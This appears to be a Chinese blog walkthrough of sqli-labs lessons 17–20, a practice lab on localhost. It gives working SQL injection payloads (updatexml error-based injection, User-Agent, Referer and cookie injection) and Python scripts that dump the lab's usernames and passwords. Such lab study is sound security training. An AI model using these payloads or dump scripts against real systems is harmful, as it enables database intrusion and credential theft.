sqli-labs less17-20

LESS 17 基于错误的UPDATE查询

源码中的几个php函数:

  • get_magic_quotes_gpc()

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“ ”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误

get_magic_quotes_gpc()就是取得php环境变量magic_quotes_gpc的值

  • addslashes() & stripslashes()

addslashes() 函数在指定的预定义字符前添加反斜杠:
单引号 (‘),双引号 (“),反斜杠 (),NULL

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

  • ctype_digit()

检测字符串中的字符是否都是数字,负数和小数会检测不通过,这是验证是否正整数的函数简单方法

  • mysql_real_escape_string()

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

  • intval(mixed $var [, int $base ])

通过使用特定的进制转换(默认是十进制),参数base表示进制,只有当var是字符串时,base才会有意义,表示按照base进制来对var进行转换,返回变量 var 的 integer 数值

通过源码可以得知,后台对输入的uname,如果是字符串,则先用mysql_real_escape_string()函数转义,再用单引号包裹,但是没有对passwd字段做处理,所以可以考虑对passwd字段进行注入,最后经过了解,发现这里需要使用updatexml报错注入

MYSQL函数:UPDATEXML(XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值

如果XPath_string的值不是XPath格式的字符串,则会报错:

> select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~10.1.32-MariaDB~'

构造paylod(username填任意一个用户名都可):

User Name : admin
New Password : ‘ where username = updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);#

报错:

XPATH syntax error: ‘~10.1.32-MariaDB~’

于是按照例行步骤

User Name : admin
New Password : ‘ where username = updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1);#

结果:XPATH syntax error: ‘~emails,referers,uagents,users~’

脚本爆破:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-17/"

i = 0
while True:
    data = {"uname":"admin", "passwd":"' where username = updatexml(1,concat(0x7e,(select username from users limit "+str(i)+",1),0x7e,(select password from users limit "+str(i)+",1),0x7e),1);#"}
    response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
    info = re.search(r"~.+~", response)
    if(info == None):
        break
    else:
        print(info.group())
    i += 1

结果:

~Dumb~Dumb~
~Angelina~I-kill-you~
~Dummy~p@ssword~
~secure~crappy~
~stupid~stupidity~
~superman~genious~
~batman~mob!le~
~admin~admin~
~admin1~admin1~
~admin2~admin2~
~admin3~admin3~
~dhakkan~dumbo~
~admin4~admin4~

LESS 18 HEADER注入-Uagent字段

本关登录前会显示IP地址,登录后显示request数据包的header字段
查看源码发现在显示header之前使用INSERT语句将header数据插入到uagents表中,考虑到可以在insert语句中使用updatexml函数报错,所以这里使用抓包工具修改header字段:

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: localhost
Content-Length: 38
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: ‘ or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or ‘
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://localhost/sqli-labs-master/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.536075346.1526537016
Connection: close

uname=admin&passwd=admin&submit=Submit

结果:

Your User Agent is: ‘ or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or ‘


XPATH syntax error: ‘~10.1.32-MariaDB~’

接下来的步骤和上一关相同,脚本:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-18/"

i = 0
while True:
    data = {"uname": "admin", "passwd": "admin"}
    header = {"User-Agent": "' or updatexml(1,concat(0x7e,(select username from users limit "+str(i)+",1),0x7e,(select password from users limit "+str(i)+",1),0x7e),1) or '"}
    req = request.Request(url, data = parse.urlencode(data).encode(), headers = header)
    response = request.urlopen(req).read().decode()
    info = re.search(r"~.+~", response)
    if(info == None):
        break
    else:
        print(info.group())
    i += 1

LESS 19 HEADER注入-Referer字段

这关登录成功后显示的是header里的Referer字段,所以把上一关的User-Agent改成Referer即可成功,原理和上一关是一样的

LESS 20 COOKIE注入

源码中的判断语句有些长,梳理一下:

  1. 判断Cookie中的uname是否被设置,若没有,返回的是登录前界面,这里对username和password都做了输入检查,登陆成功后发放Cookie
  2. 若uname非空,则再判断submit是否被设置(即有Cookie的用户是否选择删除Cookie),若没有,则用uname作参数查询数据库并返回相应信息
  3. 若submit非空(即用户点击Delete Cookie按钮),则删除Cookie(即设置Cookie有效时间为负值)

由于未对cookie做输入检查,同时select语句使用了cookie的uname值
所以修改cookie为:
Cookie: uname=’ union select 1,2,3#; _ga=GA1.1.536075346.1526537016

结果

Your Login name:2
Your Password:3
Your ID:1

继续:

Cookie: uname=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#;

Cookie: uname=’ union select 1,group_concat(username),group_concat(password) from users#;

Cookie: uname=’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’#;

Cookie: uname=’ union select group_concat(id),group_concat(username),group_concat(password) from users#;

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Your ID:1,2,3,4,5,6,7,8,9,10,11,12,14

https://soporbear.github.io/2018/06/01/sqli-lab-less17-22/

猜你喜欢

转载自blog.csdn.net/sopora/article/details/82981690